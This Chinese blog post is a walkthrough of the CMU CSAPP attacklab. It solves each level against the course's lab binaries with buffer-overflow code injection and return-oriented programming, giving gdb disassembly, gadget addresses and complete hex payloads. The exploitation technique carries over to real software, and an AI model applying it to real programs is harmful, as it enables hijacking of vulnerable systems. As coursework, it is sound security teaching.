当前位置:   article > 正文

【CMU 15-213 CSAPP】详解attacklab——用代码注入和ROP攻击程序_15213和csapp

15213和csapp

前言

磕磕绊绊终于把attacklab打完了,有了bomblab的基础打这个真是好玩极了

个人博客页:【CMU 15-213 CSAPP】详解attacklab——用代码注入和ROP攻击程序 | Andrew的个人博客 (andreww1219.github.io)

参考资料:

课程视频链接:2015 CMU 15-213 CSAPP 深入理解计算机系统 课程视频

实验文档:attacklab.pdf (cmu.edu)

零、 实验须知

1. hex2raw

实验文件中有一个hex2raw,它接收一个文件,文件中是许多以空格分割的两位十六进制数,然后将每个数根据ASCII码转换为字符然后输出,使用方式如下:

已有test.txt如下:

30 31 32 33 34 35 36 37 38
39 3a 3b 3c 3d 3e 3f 40 41
  • 1
  • 2

调用hex2raw:

root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <test.txt >test_raw.txt
  • 1

得到test_raw.txt如下:

0123456789:;<=>?@A
  • 1

2. code2byte

hex2raw已经允许我们将十六进制数转化为字符,然后输入到程序中。现在我们想向程序中注入指令,就只需要得到指令对应的十六进制表示,然后丢到hex2raw中,最后输入到程序,如下:

指令 -> 十六进制表示 -> 字符串

实际上,利用gcc和objdump就能够完成上述步骤:

gcc -c test.s
objdump -d test.o > test.d
  • 1
  • 2

示例如下:
已有test.s:

mov %rdi, %rax
add $0x8, %rax
ret
  • 1
  • 2
  • 3

执行以下命令:

root@Andrew:/mnt/d/.c/csapp/target1# gcc -c test.s
root@Andrew:/mnt/d/.c/csapp/target1# objdump -d test.o > test.d
  • 1
  • 2

得到test.d:

test.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 89 f8             	mov    %rdi,%rax
   3:	48 83 c0 08          	add    $0x8,%rax
   7:	c3                   	ret    
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

取每个指令的十六进制表示,保存到test.txt:

48 89 f8 48 83 c0 08 c3
  • 1

然后利用hex2raw即可

3. 实验文件的参数

ctarget和rtarget都可用-q开启离线测评用-i (fileName)指定输入文件

不使用离线测评时,会出现Running on an illegal host的错误:

root@Andrew:/mnt/d/.c/csapp/target1# ./ctarget
FAILED: Initialization error: Running on an illegal host [Andrew]
  • 1
  • 2

一、代码注入(Code Injection Attacks)

1. touch1

1.1 解题思路

第一个关卡要求我们通过缓冲区溢出,在getbuf返回的时候跳转到touch1

那么我们需要:

  1. getbuf缓冲区的大小
  2. touch1的地址

在gdb中使用disas getbuf查看getbuf的汇编:

root@Andrew:/mnt/d/.c/csapp/target1# gdb ctarget
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     call   0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    ret
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

观察到缓冲区长度为0x28,换算成十进制就是40个字节,也就是说:输入超过40个字符的字符串就会造成缓冲区溢出

在gdb中使用disas touch1查看touch1的汇编:

(gdb) disas touch1
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:     sub    $0x8,%rsp
   0x00000000004017c4 <+4>:     movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    call   0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    call   0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    call   0x400e40 <exit@plt>
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

观察到touch1函数入口的地址为0x4017c0

1.2 解题过程

我们希望getbuf在读取我们输入的字符串后,栈的结构是这样的:

00 00 00 00 00 40 17 c0 # 返回地址被覆盖为touch1的地址
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 栈顶
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

由于我们输入的字符是一个一个从栈顶往上边保存的,这就要求输入的字符串,用十六进制表示是上面前后颠倒的形式:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

前面40个字符可以是任意的

保存为touch1.txt,然后放到hex2raw转化为字符串输入到ctarget中,得到如下结果:

root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <touch1.txt >t1raw.txt
root@Andrew:/mnt/d/.c/csapp/target1# ./ctarget -q -i t1raw.txt
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

看到Touch1!: You called touch1() 说明通过测试

2. touch2

2.1 解题思路

从实验文档中可知,第二个关卡不仅要求我们跳转到touch2,而且需要将第一个参数设置为cookie的值。

也就是说,我们需要

  1. 跳转到一段可以完成上述任务的代码,由我们在缓冲区中自行编写,所以需要获取栈顶的地址
  2. 在代码中修改%rdi的值为cookie的值
  3. 利用ret的机制(从栈顶弹出一个地址去跳转)跳转到touch2,所以需要获取touch2的地址压入栈中

利用gdb调试获取getbuf分配栈帧后栈顶的地址,作为注入代码的起始位置

root@Andrew:/mnt/d/.c/csapp/target1# gdb ctarget
(gdb) b getbuf
Breakpoint 1 at 0x4017a8: file buf.c, line 12.
(gdb) run -q -i t1raw.txt
Starting program: /mnt/d/.c/csapp/target1/ctarget -q -i t1raw.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) stepi
14      in buf.c
(gdb) p /x $rsp
$1 = 0x5561dc78
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

在getbuf打个断点,执行第一条指令,也就是分配栈帧,然后查看$rsp的值,得到栈顶地址为0x5561dx78

查看cookie的值为0x59b997fa

查看touch2的地址

(gdb) disas touch2
Dump of assembler code for function touch2:
   0x00000000004017ec <+0>:     sub    $0x8,%rsp
  • 1
  • 2
  • 3

得到touch2的地址为0x4017ec

2.2 解题过程

首先应该编写注入代码touch2.s如下:

movq $0x59b997fa, %rdi
subq $0x8, %rsp
movq $0x4017ec, (%rsp)
ret
  • 1
  • 2
  • 3
  • 4

其实第二第三行能用一行push就搞定,等价于:

movq $0x59b997fa, %rdi
push $0x4017ec
ret
  • 1
  • 2
  • 3

得到指令的十六进制表示

root@Andrew:/mnt/d/.c/csapp/target1# gcc -c touch2.s
root@Andrew:/mnt/d/.c/csapp/target1# objdump -d touch2.o >touch2.d
  • 1
  • 2

输出的touch2.d如下


touch2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	push   $0x4017ec
   c:	c3                   	ret    
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

由于我们要将指令放到栈顶,故这一串十六进制数对应的字符串应该最先输入,然后在40个字符之后,跟touch1同理地输入栈顶的位置,构造touch2.txt如下:

48 c7 c7 fa 97 b9 59 68     /* code to be injeceted */
ec 17 40 00 c3 00 00 00    
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00     /* jump to code injected to buffer */
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

一顿操作转成字符串输入到ctarget中:

root@Andrew:/mnt/d/.c/csapp/target1# objdump -d touch2.o >touch2.d
root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <touch2.txt >t2raw.txt
root@Andrew:/mnt/d/.c/csapp/target1# ./ctarget -q -i t2raw.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

看到Touch2!: You called touch2(0x59b997fa)说明通过了测试,好耶

3. touch3

3.1 解题思路

从实验文档可知,第三个关卡要求我们跳转到touch3时,传入一个char类型的指针,该指针指向的字符串与cookie的十六进制相同。
例如:cookie的值为0x12345678时,指针char * p指向的字符串应该为"12345678"

因此,我们需要:

  1. 在输入中包含cookie对应的十六进制值的字符串,并且根据栈顶位置计算它的地址
  2. 仿照touch2将传入的%edi修改为字符串的地址

获取touch3地址

(gdb) disas touch3
Dump of assembler code for function touch3:
   0x00000000004018fa <+0>:     push   %rbx
  • 1
  • 2
  • 3

得到touch3的地址为0x4018fa

3.2 解题过程

从touch2中,我们知道在getbuf中,缓冲区开始的位置为$rsp = 0x5561dx78,存放返回地址的位置为0x5561dx78 + 0x28 = 0x5561dxa0

同touch2,我们在缓冲区开始的位置编写指令,然后在返回地址的位置跳转到我们编写的指令。

当然,其中还有许多空位,我们不妨利用这些空位放cookie对应的字符串,如下:

48 c7 c7 88 dc 61 55 68     /* code to be injeceted */   
fa 18 40 00 c3 00 00 00
35 39 62 39 39 37 66 61     /* 0x5561dc78 + 2*0x8 = 0x5561dc88 */   
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00    
78 dc 61 55 00 00 00 00     /* jump to code injected to buffer */
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

第一二行中,48 c7 c7 88 dc 61 55就是mov $0x5561dc88, %rdi,将字符串的地址传给第一个参数

68 fa 18 40 00 是push $0x4018fa,表示将touch3的地址压栈

c3则是ret,从栈中弹出一个地址进行跳转

第三行的35 39 62 39 39 37 66 61对应cookie = 0x59b997fa,35是5的ASCII码,39是9的ASCII码…

来试试:

root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <touch3.txt >t3raw.txt
root@Andrew:/mnt/d/.c/csapp/target1# gdb ctarget
(gdb) b touch3
Breakpoint 1 at 0x4018fa: file visible.c, line 71.
(gdb) run -q -i t3raw.txt
Starting program: /mnt/d/.c/csapp/target1/ctarget -q -i t3raw.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, touch3 (sval=0x5561dca8 "59b997fa") at visible.c:71
71      visible.c: No such file or directory.
(gdb) x/s $rdi
0x5561dca8:     "59b997fa"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

一直走到touch3里面都很好,继续:

(gdb) c
Continuing.
Misfire: You called touch3("�_hU")
FAIL: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:FAIL:0xffffffff:ctarget:3:48 C7 C7 88 DC 61 55 68 FA 18 40 00 C3 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
[Inferior 1 (process 656506) exited normally]
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

为啥直接跳过,显示我们传入的字符串是一串乱码?

其实是因为touch3中调用的hexmatch,为了保存callee-saved registers,做了几个压栈操作把我们的字符串覆盖了,导致传入touch3的指针读到的字符串变成一串乱码:

(gdb) disas hexmatch
Dump of assembler code for function hexmatch:
   0x000000000040184c <+0>:     push   %r12
   0x000000000040184e <+2>:     push   %rbp
   0x000000000040184f <+3>:     push   %rbx
  • 1
  • 2
  • 3
  • 4
  • 5

验证一下这个猜想:

(gdb) b hexmatch
Breakpoint 1 at 0x40184c: file visible.c, line 62.
(gdb) run -q -i t3raw.txt
Starting program: /mnt/d/.c/csapp/target1/ctarget -q -i t3raw.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Cookie: 0x59b997fa

Breakpoint 1, hexmatch (val=1505335290, sval=sval@entry=0x5561dc88 "59b997fa") at visible.c:62
62      visible.c: No such file or directory.
(gdb) x/s $rsi
0x5561dc88:     "59b997fa"
(gdb) stepi
0x000000000040184e      62      in visible.c
(gdb)
0x000000000040184f      62      in visible.c
(gdb) x/s $rsi
0x5561dc88:     "\350_hU"
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

果然如此,在进入hexmatch的时候,指针指向的字符串还是我们需要的值,经过两步后就变成乱码了。

因此,我们需要将字符串移动到不被hexmatch中操作影响的位置,如下:

48 c7 c7 a8 dc 61 55 68     /* code to be injeceted */   
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00    
78 dc 61 55 00 00 00 00     /* jump to code injected to buffer */
35 39 62 39 39 37 66 61     /* 0x5561dc78 + 6*0x8 = 0x5561dca8 */   
00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

特地加个00表示终止字符’\0’

root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <touch3.txt >t3raw.txt
root@Andrew:/mnt/d/.c/csapp/target1# ./ctarget -q -i t3raw.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

看到Touch3!: You called touch3(“59b997fa”)说明通过测试,好耶!

二、面向返回编程(Return-Oriented Programming, or ROP)

1. touch2

1.1 解题思路

实验文档中指明了我们不能使用code injections但是能用ROP攻击rtarget,在rtarget中有一系列函数,与farm.c中相同,用于提供gadget,并且附表提供了movq,movl,popq等指令的十六进制码,如下:

Figure3

该阶段要求我们使用ROP通过touch2的测试,因此,我们需要:

  1. 在farm.c找到能将cookie的值保存到%rdi的gadget
  2. 在rtarget找到gadget的地址,翻译为字符串后输入到程序中

1.2 解题过程

先把farm.c的函数都变成能看到十六进制码的汇编

root@Andrew:/mnt/d/.c/csapp/target1# gcc -c farm.c
root@Andrew:/mnt/d/.c/csapp/target1# objdump -d farm.o >farm.d
  • 1
  • 2

既然文档给了mov和pop,我们就用pop把cookie的值传给%rdi: popq %rdi
查表看看popq %rdi对应的十六进制码为:5f
在farm.d中使用ctrl+f输入5f找不到一条带有5f的,放弃这个思路

既然没办法直接pop到%rdi,那我mov还不行吗,查表看所有能mov到%rdi的指令,ctrl+f输入48 89 c7, 48 89 cf, …发现只有movq %rax %rdi : 48 89 c7找得到两个:

0000000000000048 <setval_237>:
  48:	f3 0f 1e fa          	endbr64 
  4c:	55                   	push   %rbp
  4d:	48 89 e5             	mov    %rsp,%rbp
  50:	48 89 7d f8          	mov    %rdi,-0x8(%rbp)
  54:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
  58:	c7 00 48 89 c7 c7    	movl   $0xc7c78948,(%rax)
  5e:	90                   	nop
  5f:	5d                   	pop    %rbp
  60:	c3                   	ret 
0000000000000093 <setval_426>:
  93:	f3 0f 1e fa          	endbr64 
  97:	55                   	push   %rbp
  98:	48 89 e5             	mov    %rsp,%rbp
  9b:	48 89 7d f8          	mov    %rdi,-0x8(%rbp)
  9f:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
  a3:	c7 00 48 89 c7 90    	movl   $0x90c78948,(%rax)
  a9:	90                   	nop
  aa:	5d                   	pop    %rbp
  ab:	c3                   	ret    

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

我选择setval_426,因为它在48 89 c7后是90,90是nop,可以没有副作用地占用一条指令

既然要通过%rax把值传给%rdi,那么就得把值pop到%rax,查表得popq %rax:58
在farm.d中找到带有58的指令如下:

00000000000000ac <getval_280>:
  ac:	f3 0f 1e fa          	endbr64 
  b0:	55                   	push   %rbp
  b1:	48 89 e5             	mov    %rsp,%rbp
  b4:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  b9:	5d                   	pop    %rbp
  ba:	c3 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

getval_280的b4那一行有58 90 c3,58是popq %rax,90是nop,c3是ret,正好满足了我们的需求

接下来在rtarget中找到这两句的位置:

(gdb) disas setval_426
Dump of assembler code for function setval_426:
   0x00000000004019c3 <+0>:     movl   $0x90c78948,(%rdi)
   0x00000000004019c9 <+6>:     ret
End of assembler dump.
(gdb) disas getval_280
Dump of assembler code for function getval_280:
   0x00000000004019ca <+0>:     mov    $0xc3905829,%eax
   0x00000000004019cf <+5>:     ret
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

可以看出,rtarget在gdb中的汇编比farm.d中的更简单,但是关键句还在那里,得到两个gadget为:
popq %rax:0x4019cc
movq %rax, %rdi:0x4019c5

构造输入的字符串编码如下:

00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     /* 前面四十个字符没有用 */
cc 19 40 00 00 00 00 00     /* popq %rax */
fa 97 b9 59 00 00 00 00     /* cookie的值:0x59b997fa */
c5 19 40 00 00 00 00 00     /* movq %rax, %rdi */
ec 17 40 00 00 00 00 00     /* jump to touch2 */
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <rop1.txt >rop_1.txt
root@Andrew:/mnt/d/.c/csapp/target1# ./rtarget -q -i rop_1.txt
Cookie: 0x59b997fa
Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 C5 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

爽!

2. touch3

2.1 解题思路

rtarget不同于ctarget,ctarget有栈随机化,我们没办法在gdb中得到栈顶的位置,然后计算确定我们字符串的地址。

但是我们可以直接用%rsp啊!只要movq %rsp, %rdi,就能把当时栈顶的地址给到了%rdi。然后再给%rdi加一个偏移量,就能使%rdi指向栈里边的任一位置了

2.2 解题过程

(1) 获取栈顶地址

别忘了在touch2里面,要mov到rdi只有movq %rax, %rdi才有对应的gadget,既然%rax守得那么严,那就试试先movq %rsp, %rax,再movq %rax, %rdi,查表可知
movq %rsp, %rax :48 89 e0
在farm.d中找到了合适的函数如下:

0000000000000360 <setval_350>:
 360:	f3 0f 1e fa          	endbr64 
 364:	55                   	push   %rbp
 365:	48 89 e5             	mov    %rsp,%rbp
 368:	48 89 7d f8          	mov    %rdi,-0x8(%rbp)
 36c:	48 8b 45 f8          	mov    -0x8(%rbp),%rax
 370:	c7 00 48 89 e0 90    	movl   $0x90e08948,(%rax)
 376:	90                   	nop
 377:	5d                   	pop    %rbp
 378:	c3                   	ret    
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

在gdb中找到setval_350的地址:

(gdb) disas setval_350
Dump of assembler code for function setval_350:
   0x0000000000401aab <+0>:     movl   $0x90e08948,(%rdi)
   0x0000000000401ab1 <+6>:     ret
End of assembler dump.
  • 1
  • 2
  • 3
  • 4
  • 5

因此,以下编码能执行movq %rsp, %rax以及movq %rax, %rdi两个操作:

ad 1a 40 00 00 00 00 00     /* movq %rsp, %rax */
c5 19 40 00 00 00 00 00     /* movq %rax, %rdi */
  • 1
  • 2
(2) 添加偏移量

计算偏移量的话免不了lea,但是再farm.d里面ctrl+f找不到lea指令。于是又试着:

objdump -d rtarget >rtarget.d
  • 1

得到的结果居然非常简洁易看,早知道一开始就用这个了

而且rtarget.d中能够找到不少lea指令,其中一个长这样:

00000000004019d6 <add_xy>:
  4019d6:	48 8d 04 37          	lea    (%rdi,%rsi,1),%rax
  4019da:	c3                   	ret    
  • 1
  • 2
  • 3

有了这个函数,我们只要把偏移量pop到%rsi,就能把字符串的地址赋给%rax,最终再转移到%rdi

这里就能看到add_xy的地址为0x4019d6

但是很遗憾,没有gadget能够帮我们把值pop到%rsi,而且只有%rcx能够把值mov到%rsi

0000000000401a11 <addval_436>:
  401a11:	8d 87 89 ce 90 90    	lea    -0x6f6f3177(%rdi),%eax
  401a17:	c3                   	ret    
  • 1
  • 2
  • 3

这里89 ce就是movl %ecx, %esi ,地址为0x401a13

真是服了,这下又得看该怎么把值弄到%rcx,结果就是只有%rdx能够把值mov到%rcx

0000000000401a33 <getval_159>:
  401a33:	b8 89 d1 38 c9       	mov    $0xc938d189,%eax
  401a38:	c3                   	ret    
  • 1
  • 2
  • 3

这里89 d1就是movl %edx, %ecx,地址为0x401a34,%rcx,38 c9是cmpb %cl, %cl不会影响值

看看怎么把值搞到%rdx,太好了,能从栈上pop到值得%rax能把值mov到%rdx

00000000004019db <getval_481>:
  4019db:	b8 5c 89 c2 90       	mov    $0x90c2895c,%eax
  4019e0:	c3                   	ret    
  • 1
  • 2
  • 3

这里的89 c2 90就是movl %eax, %edx,地址为0x4019dd

综上,为了让%rdi加上这个偏移量,需要以下步骤:

cc 19 40 00 00 00 00 00     /* popq %rax */
xx 00 00 00 00 00 00 00     /* 偏移量 */
dd 19 40 00 00 00 00 00     /* movl %eax, %edx */
34 1a 40 00 00 00 00 00     /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00     /* movl %ecx, %esi */
d6 19 40 00 00 00 00 00     /* lea (%rdi, %rsi, 1), %rdi */
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
(3) 完整结果

将上述两串编码组合起来,如下:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     
00 00 00 00 00 00 00 00     /* 前面四十个字符没有用 */
ad 1a 40 00 00 00 00 00     /* movq %rsp, %rax */
c5 19 40 00 00 00 00 00     /* movq %rax, %rdi          <-- 赋给%rdi的%rsp指向这里 */  
cc 19 40 00 00 00 00 00     /* popq %rax */
48 00 00 00 00 00 00 00     /* 偏移量 */
dd 19 40 00 00 00 00 00     /* movl %eax, %edx */
34 1a 40 00 00 00 00 00     /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00     /* movl %ecx, %esi              至此偏移量保存在%rsi */        
d6 19 40 00 00 00 00 00     /* lea (%rdi, %rsi, 1), %rax */
c5 19 40 00 00 00 00 00     /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00     /* jump to touch3 */
35 39 62 39 39 37 66 61     /* cookie的十六进制         <-- 这里比上一个箭头多9行,故偏移量为9*0x8 = 0x48 */ 
00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17

注释符号跟文字之间一定要留间隔啊!!!!!找了一百年的bug

root@Andrew:/mnt/d/.c/csapp/target1# ./hex2raw <rop2.txt >rop_2.txt
root@Andrew:/mnt/d/.c/csapp/target1# ./rtarget -q -i rop_2.txt
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 AD 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 00 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

美美通关

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/827900
推荐阅读
相关标签
  

闽ICP备14008679号